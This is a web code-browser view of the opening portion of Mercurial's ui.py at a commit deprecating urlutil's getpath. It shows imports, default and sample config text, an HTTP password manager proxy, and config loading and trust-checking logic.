##// END OF EJS Templates
urlutil: deprecate `getpath`...
marmoute -
r47803:9ea75ea2 default
parent child Browse files
Show More
@@ -1,2228 +1,2230 b''
1 # ui.py - user interface bits for mercurial
1 # ui.py - user interface bits for mercurial
2 #
2 #
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import collections
10 import collections
11 import contextlib
11 import contextlib
12 import datetime
12 import datetime
13 import errno
13 import errno
14 import getpass
14 import getpass
15 import inspect
15 import inspect
16 import os
16 import os
17 import re
17 import re
18 import signal
18 import signal
19 import socket
19 import socket
20 import subprocess
20 import subprocess
21 import sys
21 import sys
22 import traceback
22 import traceback
23
23
24 from .i18n import _
24 from .i18n import _
25 from .node import hex
25 from .node import hex
26 from .pycompat import (
26 from .pycompat import (
27 getattr,
27 getattr,
28 open,
28 open,
29 )
29 )
30
30
31 from . import (
31 from . import (
32 color,
32 color,
33 config,
33 config,
34 configitems,
34 configitems,
35 encoding,
35 encoding,
36 error,
36 error,
37 formatter,
37 formatter,
38 loggingutil,
38 loggingutil,
39 progress,
39 progress,
40 pycompat,
40 pycompat,
41 rcutil,
41 rcutil,
42 scmutil,
42 scmutil,
43 util,
43 util,
44 )
44 )
45 from .utils import (
45 from .utils import (
46 dateutil,
46 dateutil,
47 procutil,
47 procutil,
48 resourceutil,
48 resourceutil,
49 stringutil,
49 stringutil,
50 urlutil,
50 urlutil,
51 )
51 )
52
52
53 urlreq = util.urlreq
53 urlreq = util.urlreq
54
54
55 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
55 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
56 _keepalnum = b''.join(
56 _keepalnum = b''.join(
57 c for c in map(pycompat.bytechr, range(256)) if not c.isalnum()
57 c for c in map(pycompat.bytechr, range(256)) if not c.isalnum()
58 )
58 )
59
59
60 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
60 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
61 tweakrc = b"""
61 tweakrc = b"""
62 [ui]
62 [ui]
63 # The rollback command is dangerous. As a rule, don't use it.
63 # The rollback command is dangerous. As a rule, don't use it.
64 rollback = False
64 rollback = False
65 # Make `hg status` report copy information
65 # Make `hg status` report copy information
66 statuscopies = yes
66 statuscopies = yes
67 # Prefer curses UIs when available. Revert to plain-text with `text`.
67 # Prefer curses UIs when available. Revert to plain-text with `text`.
68 interface = curses
68 interface = curses
69 # Make compatible commands emit cwd-relative paths by default.
69 # Make compatible commands emit cwd-relative paths by default.
70 relative-paths = yes
70 relative-paths = yes
71
71
72 [commands]
72 [commands]
73 # Grep working directory by default.
73 # Grep working directory by default.
74 grep.all-files = True
74 grep.all-files = True
75 # Refuse to perform an `hg update` that would cause a file content merge
75 # Refuse to perform an `hg update` that would cause a file content merge
76 update.check = noconflict
76 update.check = noconflict
77 # Show conflicts information in `hg status`
77 # Show conflicts information in `hg status`
78 status.verbose = True
78 status.verbose = True
79 # Make `hg resolve` with no action (like `-m`) fail instead of re-merging.
79 # Make `hg resolve` with no action (like `-m`) fail instead of re-merging.
80 resolve.explicit-re-merge = True
80 resolve.explicit-re-merge = True
81
81
82 [diff]
82 [diff]
83 git = 1
83 git = 1
84 showfunc = 1
84 showfunc = 1
85 word-diff = 1
85 word-diff = 1
86 """
86 """
87
87
88 samplehgrcs = {
88 samplehgrcs = {
89 b'user': b"""# example user config (see 'hg help config' for more info)
89 b'user': b"""# example user config (see 'hg help config' for more info)
90 [ui]
90 [ui]
91 # name and email, e.g.
91 # name and email, e.g.
92 # username = Jane Doe <jdoe@example.com>
92 # username = Jane Doe <jdoe@example.com>
93 username =
93 username =
94
94
95 # We recommend enabling tweakdefaults to get slight improvements to
95 # We recommend enabling tweakdefaults to get slight improvements to
96 # the UI over time. Make sure to set HGPLAIN in the environment when
96 # the UI over time. Make sure to set HGPLAIN in the environment when
97 # writing scripts!
97 # writing scripts!
98 # tweakdefaults = True
98 # tweakdefaults = True
99
99
100 # uncomment to disable color in command output
100 # uncomment to disable color in command output
101 # (see 'hg help color' for details)
101 # (see 'hg help color' for details)
102 # color = never
102 # color = never
103
103
104 # uncomment to disable command output pagination
104 # uncomment to disable command output pagination
105 # (see 'hg help pager' for details)
105 # (see 'hg help pager' for details)
106 # paginate = never
106 # paginate = never
107
107
108 [extensions]
108 [extensions]
109 # uncomment the lines below to enable some popular extensions
109 # uncomment the lines below to enable some popular extensions
110 # (see 'hg help extensions' for more info)
110 # (see 'hg help extensions' for more info)
111 #
111 #
112 # histedit =
112 # histedit =
113 # rebase =
113 # rebase =
114 # uncommit =
114 # uncommit =
115 """,
115 """,
116 b'cloned': b"""# example repository config (see 'hg help config' for more info)
116 b'cloned': b"""# example repository config (see 'hg help config' for more info)
117 [paths]
117 [paths]
118 default = %s
118 default = %s
119
119
120 # path aliases to other clones of this repo in URLs or filesystem paths
120 # path aliases to other clones of this repo in URLs or filesystem paths
121 # (see 'hg help config.paths' for more info)
121 # (see 'hg help config.paths' for more info)
122 #
122 #
123 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
123 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
124 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
124 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
125 # my-clone = /home/jdoe/jdoes-clone
125 # my-clone = /home/jdoe/jdoes-clone
126
126
127 [ui]
127 [ui]
128 # name and email (local to this repository, optional), e.g.
128 # name and email (local to this repository, optional), e.g.
129 # username = Jane Doe <jdoe@example.com>
129 # username = Jane Doe <jdoe@example.com>
130 """,
130 """,
131 b'local': b"""# example repository config (see 'hg help config' for more info)
131 b'local': b"""# example repository config (see 'hg help config' for more info)
132 [paths]
132 [paths]
133 # path aliases to other clones of this repo in URLs or filesystem paths
133 # path aliases to other clones of this repo in URLs or filesystem paths
134 # (see 'hg help config.paths' for more info)
134 # (see 'hg help config.paths' for more info)
135 #
135 #
136 # default = http://example.com/hg/example-repo
136 # default = http://example.com/hg/example-repo
137 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
137 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
138 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
138 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
139 # my-clone = /home/jdoe/jdoes-clone
139 # my-clone = /home/jdoe/jdoes-clone
140
140
141 [ui]
141 [ui]
142 # name and email (local to this repository, optional), e.g.
142 # name and email (local to this repository, optional), e.g.
143 # username = Jane Doe <jdoe@example.com>
143 # username = Jane Doe <jdoe@example.com>
144 """,
144 """,
145 b'global': b"""# example system-wide hg config (see 'hg help config' for more info)
145 b'global': b"""# example system-wide hg config (see 'hg help config' for more info)
146
146
147 [ui]
147 [ui]
148 # uncomment to disable color in command output
148 # uncomment to disable color in command output
149 # (see 'hg help color' for details)
149 # (see 'hg help color' for details)
150 # color = never
150 # color = never
151
151
152 # uncomment to disable command output pagination
152 # uncomment to disable command output pagination
153 # (see 'hg help pager' for details)
153 # (see 'hg help pager' for details)
154 # paginate = never
154 # paginate = never
155
155
156 [extensions]
156 [extensions]
157 # uncomment the lines below to enable some popular extensions
157 # uncomment the lines below to enable some popular extensions
158 # (see 'hg help extensions' for more info)
158 # (see 'hg help extensions' for more info)
159 #
159 #
160 # blackbox =
160 # blackbox =
161 # churn =
161 # churn =
162 """,
162 """,
163 }
163 }
164
164
165
165
166 def _maybestrurl(maybebytes):
166 def _maybestrurl(maybebytes):
167 return pycompat.rapply(pycompat.strurl, maybebytes)
167 return pycompat.rapply(pycompat.strurl, maybebytes)
168
168
169
169
170 def _maybebytesurl(maybestr):
170 def _maybebytesurl(maybestr):
171 return pycompat.rapply(pycompat.bytesurl, maybestr)
171 return pycompat.rapply(pycompat.bytesurl, maybestr)
172
172
173
173
174 class httppasswordmgrdbproxy(object):
174 class httppasswordmgrdbproxy(object):
175 """Delays loading urllib2 until it's needed."""
175 """Delays loading urllib2 until it's needed."""
176
176
177 def __init__(self):
177 def __init__(self):
178 self._mgr = None
178 self._mgr = None
179
179
180 def _get_mgr(self):
180 def _get_mgr(self):
181 if self._mgr is None:
181 if self._mgr is None:
182 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
182 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
183 return self._mgr
183 return self._mgr
184
184
185 def add_password(self, realm, uris, user, passwd):
185 def add_password(self, realm, uris, user, passwd):
186 return self._get_mgr().add_password(
186 return self._get_mgr().add_password(
187 _maybestrurl(realm),
187 _maybestrurl(realm),
188 _maybestrurl(uris),
188 _maybestrurl(uris),
189 _maybestrurl(user),
189 _maybestrurl(user),
190 _maybestrurl(passwd),
190 _maybestrurl(passwd),
191 )
191 )
192
192
193 def find_user_password(self, realm, uri):
193 def find_user_password(self, realm, uri):
194 mgr = self._get_mgr()
194 mgr = self._get_mgr()
195 return _maybebytesurl(
195 return _maybebytesurl(
196 mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri))
196 mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri))
197 )
197 )
198
198
199
199
200 def _catchterm(*args):
200 def _catchterm(*args):
201 raise error.SignalInterrupt
201 raise error.SignalInterrupt
202
202
203
203
204 # unique object used to detect no default value has been provided when
204 # unique object used to detect no default value has been provided when
205 # retrieving configuration value.
205 # retrieving configuration value.
206 _unset = object()
206 _unset = object()
207
207
208 # _reqexithandlers: callbacks run at the end of a request
208 # _reqexithandlers: callbacks run at the end of a request
209 _reqexithandlers = []
209 _reqexithandlers = []
210
210
211
211
212 class ui(object):
212 class ui(object):
213 def __init__(self, src=None):
213 def __init__(self, src=None):
214 """Create a fresh new ui object if no src given
214 """Create a fresh new ui object if no src given
215
215
216 Use uimod.ui.load() to create a ui which knows global and user configs.
216 Use uimod.ui.load() to create a ui which knows global and user configs.
217 In most cases, you should use ui.copy() to create a copy of an existing
217 In most cases, you should use ui.copy() to create a copy of an existing
218 ui object.
218 ui object.
219 """
219 """
220 # _buffers: used for temporary capture of output
220 # _buffers: used for temporary capture of output
221 self._buffers = []
221 self._buffers = []
222 # 3-tuple describing how each buffer in the stack behaves.
222 # 3-tuple describing how each buffer in the stack behaves.
223 # Values are (capture stderr, capture subprocesses, apply labels).
223 # Values are (capture stderr, capture subprocesses, apply labels).
224 self._bufferstates = []
224 self._bufferstates = []
225 # When a buffer is active, defines whether we are expanding labels.
225 # When a buffer is active, defines whether we are expanding labels.
226 # This exists to prevent an extra list lookup.
226 # This exists to prevent an extra list lookup.
227 self._bufferapplylabels = None
227 self._bufferapplylabels = None
228 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
228 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
229 self._reportuntrusted = True
229 self._reportuntrusted = True
230 self._knownconfig = configitems.coreitems
230 self._knownconfig = configitems.coreitems
231 self._ocfg = config.config() # overlay
231 self._ocfg = config.config() # overlay
232 self._tcfg = config.config() # trusted
232 self._tcfg = config.config() # trusted
233 self._ucfg = config.config() # untrusted
233 self._ucfg = config.config() # untrusted
234 self._trustusers = set()
234 self._trustusers = set()
235 self._trustgroups = set()
235 self._trustgroups = set()
236 self.callhooks = True
236 self.callhooks = True
237 # Insecure server connections requested.
237 # Insecure server connections requested.
238 self.insecureconnections = False
238 self.insecureconnections = False
239 # Blocked time
239 # Blocked time
240 self.logblockedtimes = False
240 self.logblockedtimes = False
241 # color mode: see mercurial/color.py for possible value
241 # color mode: see mercurial/color.py for possible value
242 self._colormode = None
242 self._colormode = None
243 self._terminfoparams = {}
243 self._terminfoparams = {}
244 self._styles = {}
244 self._styles = {}
245 self._uninterruptible = False
245 self._uninterruptible = False
246 self.showtimestamp = False
246 self.showtimestamp = False
247
247
248 if src:
248 if src:
249 self._fout = src._fout
249 self._fout = src._fout
250 self._ferr = src._ferr
250 self._ferr = src._ferr
251 self._fin = src._fin
251 self._fin = src._fin
252 self._fmsg = src._fmsg
252 self._fmsg = src._fmsg
253 self._fmsgout = src._fmsgout
253 self._fmsgout = src._fmsgout
254 self._fmsgerr = src._fmsgerr
254 self._fmsgerr = src._fmsgerr
255 self._finoutredirected = src._finoutredirected
255 self._finoutredirected = src._finoutredirected
256 self._loggers = src._loggers.copy()
256 self._loggers = src._loggers.copy()
257 self.pageractive = src.pageractive
257 self.pageractive = src.pageractive
258 self._disablepager = src._disablepager
258 self._disablepager = src._disablepager
259 self._tweaked = src._tweaked
259 self._tweaked = src._tweaked
260
260
261 self._tcfg = src._tcfg.copy()
261 self._tcfg = src._tcfg.copy()
262 self._ucfg = src._ucfg.copy()
262 self._ucfg = src._ucfg.copy()
263 self._ocfg = src._ocfg.copy()
263 self._ocfg = src._ocfg.copy()
264 self._trustusers = src._trustusers.copy()
264 self._trustusers = src._trustusers.copy()
265 self._trustgroups = src._trustgroups.copy()
265 self._trustgroups = src._trustgroups.copy()
266 self.environ = src.environ
266 self.environ = src.environ
267 self.callhooks = src.callhooks
267 self.callhooks = src.callhooks
268 self.insecureconnections = src.insecureconnections
268 self.insecureconnections = src.insecureconnections
269 self._colormode = src._colormode
269 self._colormode = src._colormode
270 self._terminfoparams = src._terminfoparams.copy()
270 self._terminfoparams = src._terminfoparams.copy()
271 self._styles = src._styles.copy()
271 self._styles = src._styles.copy()
272
272
273 self.fixconfig()
273 self.fixconfig()
274
274
275 self.httppasswordmgrdb = src.httppasswordmgrdb
275 self.httppasswordmgrdb = src.httppasswordmgrdb
276 self._blockedtimes = src._blockedtimes
276 self._blockedtimes = src._blockedtimes
277 else:
277 else:
278 self._fout = procutil.stdout
278 self._fout = procutil.stdout
279 self._ferr = procutil.stderr
279 self._ferr = procutil.stderr
280 self._fin = procutil.stdin
280 self._fin = procutil.stdin
281 self._fmsg = None
281 self._fmsg = None
282 self._fmsgout = self.fout # configurable
282 self._fmsgout = self.fout # configurable
283 self._fmsgerr = self.ferr # configurable
283 self._fmsgerr = self.ferr # configurable
284 self._finoutredirected = False
284 self._finoutredirected = False
285 self._loggers = {}
285 self._loggers = {}
286 self.pageractive = False
286 self.pageractive = False
287 self._disablepager = False
287 self._disablepager = False
288 self._tweaked = False
288 self._tweaked = False
289
289
290 # shared read-only environment
290 # shared read-only environment
291 self.environ = encoding.environ
291 self.environ = encoding.environ
292
292
293 self.httppasswordmgrdb = httppasswordmgrdbproxy()
293 self.httppasswordmgrdb = httppasswordmgrdbproxy()
294 self._blockedtimes = collections.defaultdict(int)
294 self._blockedtimes = collections.defaultdict(int)
295
295
296 allowed = self.configlist(b'experimental', b'exportableenviron')
296 allowed = self.configlist(b'experimental', b'exportableenviron')
297 if b'*' in allowed:
297 if b'*' in allowed:
298 self._exportableenviron = self.environ
298 self._exportableenviron = self.environ
299 else:
299 else:
300 self._exportableenviron = {}
300 self._exportableenviron = {}
301 for k in allowed:
301 for k in allowed:
302 if k in self.environ:
302 if k in self.environ:
303 self._exportableenviron[k] = self.environ[k]
303 self._exportableenviron[k] = self.environ[k]
304
304
305 def _new_source(self):
305 def _new_source(self):
306 self._ocfg.new_source()
306 self._ocfg.new_source()
307 self._tcfg.new_source()
307 self._tcfg.new_source()
308 self._ucfg.new_source()
308 self._ucfg.new_source()
309
309
310 @classmethod
310 @classmethod
311 def load(cls):
311 def load(cls):
312 """Create a ui and load global and user configs"""
312 """Create a ui and load global and user configs"""
313 u = cls()
313 u = cls()
314 # we always trust global config files and environment variables
314 # we always trust global config files and environment variables
315 for t, f in rcutil.rccomponents():
315 for t, f in rcutil.rccomponents():
316 if t == b'path':
316 if t == b'path':
317 u.readconfig(f, trust=True)
317 u.readconfig(f, trust=True)
318 elif t == b'resource':
318 elif t == b'resource':
319 u.read_resource_config(f, trust=True)
319 u.read_resource_config(f, trust=True)
320 elif t == b'items':
320 elif t == b'items':
321 u._new_source()
321 u._new_source()
322 sections = set()
322 sections = set()
323 for section, name, value, source in f:
323 for section, name, value, source in f:
324 # do not set u._ocfg
324 # do not set u._ocfg
325 # XXX clean this up once immutable config object is a thing
325 # XXX clean this up once immutable config object is a thing
326 u._tcfg.set(section, name, value, source)
326 u._tcfg.set(section, name, value, source)
327 u._ucfg.set(section, name, value, source)
327 u._ucfg.set(section, name, value, source)
328 sections.add(section)
328 sections.add(section)
329 for section in sections:
329 for section in sections:
330 u.fixconfig(section=section)
330 u.fixconfig(section=section)
331 else:
331 else:
332 raise error.ProgrammingError(b'unknown rctype: %s' % t)
332 raise error.ProgrammingError(b'unknown rctype: %s' % t)
333 u._maybetweakdefaults()
333 u._maybetweakdefaults()
334 u._new_source() # anything after that is a different level
334 u._new_source() # anything after that is a different level
335 return u
335 return u
336
336
337 def _maybetweakdefaults(self):
337 def _maybetweakdefaults(self):
338 if not self.configbool(b'ui', b'tweakdefaults'):
338 if not self.configbool(b'ui', b'tweakdefaults'):
339 return
339 return
340 if self._tweaked or self.plain(b'tweakdefaults'):
340 if self._tweaked or self.plain(b'tweakdefaults'):
341 return
341 return
342
342
343 # Note: it is SUPER IMPORTANT that you set self._tweaked to
343 # Note: it is SUPER IMPORTANT that you set self._tweaked to
344 # True *before* any calls to setconfig(), otherwise you'll get
344 # True *before* any calls to setconfig(), otherwise you'll get
345 # infinite recursion between setconfig and this method.
345 # infinite recursion between setconfig and this method.
346 #
346 #
347 # TODO: We should extract an inner method in setconfig() to
347 # TODO: We should extract an inner method in setconfig() to
348 # avoid this weirdness.
348 # avoid this weirdness.
349 self._tweaked = True
349 self._tweaked = True
350 tmpcfg = config.config()
350 tmpcfg = config.config()
351 tmpcfg.parse(b'<tweakdefaults>', tweakrc)
351 tmpcfg.parse(b'<tweakdefaults>', tweakrc)
352 for section in tmpcfg:
352 for section in tmpcfg:
353 for name, value in tmpcfg.items(section):
353 for name, value in tmpcfg.items(section):
354 if not self.hasconfig(section, name):
354 if not self.hasconfig(section, name):
355 self.setconfig(section, name, value, b"<tweakdefaults>")
355 self.setconfig(section, name, value, b"<tweakdefaults>")
356
356
357 def copy(self):
357 def copy(self):
358 return self.__class__(self)
358 return self.__class__(self)
359
359
360 def resetstate(self):
360 def resetstate(self):
361 """Clear internal state that shouldn't persist across commands"""
361 """Clear internal state that shouldn't persist across commands"""
362 if self._progbar:
362 if self._progbar:
363 self._progbar.resetstate() # reset last-print time of progress bar
363 self._progbar.resetstate() # reset last-print time of progress bar
364 self.httppasswordmgrdb = httppasswordmgrdbproxy()
364 self.httppasswordmgrdb = httppasswordmgrdbproxy()
365
365
366 @contextlib.contextmanager
366 @contextlib.contextmanager
367 def timeblockedsection(self, key):
367 def timeblockedsection(self, key):
368 # this is open-coded below - search for timeblockedsection to find them
368 # this is open-coded below - search for timeblockedsection to find them
369 starttime = util.timer()
369 starttime = util.timer()
370 try:
370 try:
371 yield
371 yield
372 finally:
372 finally:
373 self._blockedtimes[key + b'_blocked'] += (
373 self._blockedtimes[key + b'_blocked'] += (
374 util.timer() - starttime
374 util.timer() - starttime
375 ) * 1000
375 ) * 1000
376
376
377 @contextlib.contextmanager
377 @contextlib.contextmanager
378 def uninterruptible(self):
378 def uninterruptible(self):
379 """Mark an operation as unsafe.
379 """Mark an operation as unsafe.
380
380
381 Most operations on a repository are safe to interrupt, but a
381 Most operations on a repository are safe to interrupt, but a
382 few are risky (for example repair.strip). This context manager
382 few are risky (for example repair.strip). This context manager
383 lets you advise Mercurial that something risky is happening so
383 lets you advise Mercurial that something risky is happening so
384 that control-C etc can be blocked if desired.
384 that control-C etc can be blocked if desired.
385 """
385 """
386 enabled = self.configbool(b'experimental', b'nointerrupt')
386 enabled = self.configbool(b'experimental', b'nointerrupt')
387 if enabled and self.configbool(
387 if enabled and self.configbool(
388 b'experimental', b'nointerrupt-interactiveonly'
388 b'experimental', b'nointerrupt-interactiveonly'
389 ):
389 ):
390 enabled = self.interactive()
390 enabled = self.interactive()
391 if self._uninterruptible or not enabled:
391 if self._uninterruptible or not enabled:
392 # if nointerrupt support is turned off, the process isn't
392 # if nointerrupt support is turned off, the process isn't
393 # interactive, or we're already in an uninterruptible
393 # interactive, or we're already in an uninterruptible
394 # block, do nothing.
394 # block, do nothing.
395 yield
395 yield
396 return
396 return
397
397
398 def warn():
398 def warn():
399 self.warn(_(b"shutting down cleanly\n"))
399 self.warn(_(b"shutting down cleanly\n"))
400 self.warn(
400 self.warn(
401 _(b"press ^C again to terminate immediately (dangerous)\n")
401 _(b"press ^C again to terminate immediately (dangerous)\n")
402 )
402 )
403 return True
403 return True
404
404
405 with procutil.uninterruptible(warn):
405 with procutil.uninterruptible(warn):
406 try:
406 try:
407 self._uninterruptible = True
407 self._uninterruptible = True
408 yield
408 yield
409 finally:
409 finally:
410 self._uninterruptible = False
410 self._uninterruptible = False
411
411
412 def formatter(self, topic, opts):
412 def formatter(self, topic, opts):
413 return formatter.formatter(self, self, topic, opts)
413 return formatter.formatter(self, self, topic, opts)
414
414
415 def _trusted(self, fp, f):
415 def _trusted(self, fp, f):
416 st = util.fstat(fp)
416 st = util.fstat(fp)
417 if util.isowner(st):
417 if util.isowner(st):
418 return True
418 return True
419
419
420 tusers, tgroups = self._trustusers, self._trustgroups
420 tusers, tgroups = self._trustusers, self._trustgroups
421 if b'*' in tusers or b'*' in tgroups:
421 if b'*' in tusers or b'*' in tgroups:
422 return True
422 return True
423
423
424 user = util.username(st.st_uid)
424 user = util.username(st.st_uid)
425 group = util.groupname(st.st_gid)
425 group = util.groupname(st.st_gid)
426 if user in tusers or group in tgroups or user == util.username():
426 if user in tusers or group in tgroups or user == util.username():
427 return True
427 return True
428
428
429 if self._reportuntrusted:
429 if self._reportuntrusted:
430 self.warn(
430 self.warn(
431 _(
431 _(
432 b'not trusting file %s from untrusted '
432 b'not trusting file %s from untrusted '
433 b'user %s, group %s\n'
433 b'user %s, group %s\n'
434 )
434 )
435 % (f, user, group)
435 % (f, user, group)
436 )
436 )
437 return False
437 return False
438
438
439 def read_resource_config(
439 def read_resource_config(
440 self, name, root=None, trust=False, sections=None, remap=None
440 self, name, root=None, trust=False, sections=None, remap=None
441 ):
441 ):
442 try:
442 try:
443 fp = resourceutil.open_resource(name[0], name[1])
443 fp = resourceutil.open_resource(name[0], name[1])
444 except IOError:
444 except IOError:
445 if not sections: # ignore unless we were looking for something
445 if not sections: # ignore unless we were looking for something
446 return
446 return
447 raise
447 raise
448
448
449 self._readconfig(
449 self._readconfig(
450 b'resource:%s.%s' % name, fp, root, trust, sections, remap
450 b'resource:%s.%s' % name, fp, root, trust, sections, remap
451 )
451 )
452
452
453 def readconfig(
453 def readconfig(
454 self, filename, root=None, trust=False, sections=None, remap=None
454 self, filename, root=None, trust=False, sections=None, remap=None
455 ):
455 ):
456 try:
456 try:
457 fp = open(filename, 'rb')
457 fp = open(filename, 'rb')
458 except IOError:
458 except IOError:
459 if not sections: # ignore unless we were looking for something
459 if not sections: # ignore unless we were looking for something
460 return
460 return
461 raise
461 raise
462
462
463 self._readconfig(filename, fp, root, trust, sections, remap)
463 self._readconfig(filename, fp, root, trust, sections, remap)
464
464
465 def _readconfig(
465 def _readconfig(
466 self, filename, fp, root=None, trust=False, sections=None, remap=None
466 self, filename, fp, root=None, trust=False, sections=None, remap=None
467 ):
467 ):
468 with fp:
468 with fp:
469 cfg = config.config()
469 cfg = config.config()
470 trusted = sections or trust or self._trusted(fp, filename)
470 trusted = sections or trust or self._trusted(fp, filename)
471
471
472 try:
472 try:
473 cfg.read(filename, fp, sections=sections, remap=remap)
473 cfg.read(filename, fp, sections=sections, remap=remap)
474 except error.ConfigError as inst:
474 except error.ConfigError as inst:
475 if trusted:
475 if trusted:
476 raise
476 raise
477 self.warn(
477 self.warn(
478 _(b'ignored %s: %s\n') % (inst.location, inst.message)
478 _(b'ignored %s: %s\n') % (inst.location, inst.message)
479 )
479 )
480
480
481 self._applyconfig(cfg, trusted, root)
481 self._applyconfig(cfg, trusted, root)
482
482
483 def applyconfig(self, configitems, source=b"", root=None):
483 def applyconfig(self, configitems, source=b"", root=None):
484 """Add configitems from a non-file source. Unlike with ``setconfig()``,
484 """Add configitems from a non-file source. Unlike with ``setconfig()``,
485 they can be overridden by subsequent config file reads. The items are
485 they can be overridden by subsequent config file reads. The items are
486 in the same format as ``configoverride()``, namely a dict of the
486 in the same format as ``configoverride()``, namely a dict of the
487 following structures: {(section, name) : value}
487 following structures: {(section, name) : value}
488
488
489 Typically this is used by extensions that inject themselves into the
489 Typically this is used by extensions that inject themselves into the
490 config file load procedure by monkeypatching ``localrepo.loadhgrc()``.
490 config file load procedure by monkeypatching ``localrepo.loadhgrc()``.
491 """
491 """
492 cfg = config.config()
492 cfg = config.config()
493
493
494 for (section, name), value in configitems.items():
494 for (section, name), value in configitems.items():
495 cfg.set(section, name, value, source)
495 cfg.set(section, name, value, source)
496
496
497 self._applyconfig(cfg, True, root)
497 self._applyconfig(cfg, True, root)
498
498
499 def _applyconfig(self, cfg, trusted, root):
499 def _applyconfig(self, cfg, trusted, root):
500 if self.plain():
500 if self.plain():
501 for k in (
501 for k in (
502 b'debug',
502 b'debug',
503 b'fallbackencoding',
503 b'fallbackencoding',
504 b'quiet',
504 b'quiet',
505 b'slash',
505 b'slash',
506 b'logtemplate',
506 b'logtemplate',
507 b'message-output',
507 b'message-output',
508 b'statuscopies',
508 b'statuscopies',
509 b'style',
509 b'style',
510 b'traceback',
510 b'traceback',
511 b'verbose',
511 b'verbose',
512 ):
512 ):
513 if k in cfg[b'ui']:
513 if k in cfg[b'ui']:
514 del cfg[b'ui'][k]
514 del cfg[b'ui'][k]
515 for k, v in cfg.items(b'defaults'):
515 for k, v in cfg.items(b'defaults'):
516 del cfg[b'defaults'][k]
516 del cfg[b'defaults'][k]
517 for k, v in cfg.items(b'commands'):
517 for k, v in cfg.items(b'commands'):
518 del cfg[b'commands'][k]
518 del cfg[b'commands'][k]
519 for k, v in cfg.items(b'command-templates'):
519 for k, v in cfg.items(b'command-templates'):
520 del cfg[b'command-templates'][k]
520 del cfg[b'command-templates'][k]
521 # Don't remove aliases from the configuration if in the exceptionlist
521 # Don't remove aliases from the configuration if in the exceptionlist
522 if self.plain(b'alias'):
522 if self.plain(b'alias'):
523 for k, v in cfg.items(b'alias'):
523 for k, v in cfg.items(b'alias'):
524 del cfg[b'alias'][k]
524 del cfg[b'alias'][k]
525 if self.plain(b'revsetalias'):
525 if self.plain(b'revsetalias'):
526 for k, v in cfg.items(b'revsetalias'):
526 for k, v in cfg.items(b'revsetalias'):
527 del cfg[b'revsetalias'][k]
527 del cfg[b'revsetalias'][k]
528 if self.plain(b'templatealias'):
528 if self.plain(b'templatealias'):
529 for k, v in cfg.items(b'templatealias'):
529 for k, v in cfg.items(b'templatealias'):
530 del cfg[b'templatealias'][k]
530 del cfg[b'templatealias'][k]
531
531
532 if trusted:
532 if trusted:
533 self._tcfg.update(cfg)
533 self._tcfg.update(cfg)
534 self._tcfg.update(self._ocfg)
534 self._tcfg.update(self._ocfg)
535 self._ucfg.update(cfg)
535 self._ucfg.update(cfg)
536 self._ucfg.update(self._ocfg)
536 self._ucfg.update(self._ocfg)
537
537
538 if root is None:
538 if root is None:
539 root = os.path.expanduser(b'~')
539 root = os.path.expanduser(b'~')
540 self.fixconfig(root=root)
540 self.fixconfig(root=root)
541
541
542 def fixconfig(self, root=None, section=None):
542 def fixconfig(self, root=None, section=None):
543 if section in (None, b'paths'):
543 if section in (None, b'paths'):
544 # expand vars and ~
544 # expand vars and ~
545 # translate paths relative to root (or home) into absolute paths
545 # translate paths relative to root (or home) into absolute paths
546 root = root or encoding.getcwd()
546 root = root or encoding.getcwd()
547 for c in self._tcfg, self._ucfg, self._ocfg:
547 for c in self._tcfg, self._ucfg, self._ocfg:
548 for n, p in c.items(b'paths'):
548 for n, p in c.items(b'paths'):
549 # Ignore sub-options.
549 # Ignore sub-options.
550 if b':' in n:
550 if b':' in n:
551 continue
551 continue
552 if not p:
552 if not p:
553 continue
553 continue
554 if b'%%' in p:
554 if b'%%' in p:
555 s = self.configsource(b'paths', n) or b'none'
555 s = self.configsource(b'paths', n) or b'none'
556 self.warn(
556 self.warn(
557 _(b"(deprecated '%%' in path %s=%s from %s)\n")
557 _(b"(deprecated '%%' in path %s=%s from %s)\n")
558 % (n, p, s)
558 % (n, p, s)
559 )
559 )
560 p = p.replace(b'%%', b'%')
560 p = p.replace(b'%%', b'%')
561 p = util.expandpath(p)
561 p = util.expandpath(p)
562 if not urlutil.hasscheme(p) and not os.path.isabs(p):
562 if not urlutil.hasscheme(p) and not os.path.isabs(p):
563 p = os.path.normpath(os.path.join(root, p))
563 p = os.path.normpath(os.path.join(root, p))
564 c.alter(b"paths", n, p)
564 c.alter(b"paths", n, p)
565
565
566 if section in (None, b'ui'):
566 if section in (None, b'ui'):
567 # update ui options
567 # update ui options
568 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
568 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
569 self.debugflag = self.configbool(b'ui', b'debug')
569 self.debugflag = self.configbool(b'ui', b'debug')
570 self.verbose = self.debugflag or self.configbool(b'ui', b'verbose')
570 self.verbose = self.debugflag or self.configbool(b'ui', b'verbose')
571 self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet')
571 self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet')
572 if self.verbose and self.quiet:
572 if self.verbose and self.quiet:
573 self.quiet = self.verbose = False
573 self.quiet = self.verbose = False
574 self._reportuntrusted = self.debugflag or self.configbool(
574 self._reportuntrusted = self.debugflag or self.configbool(
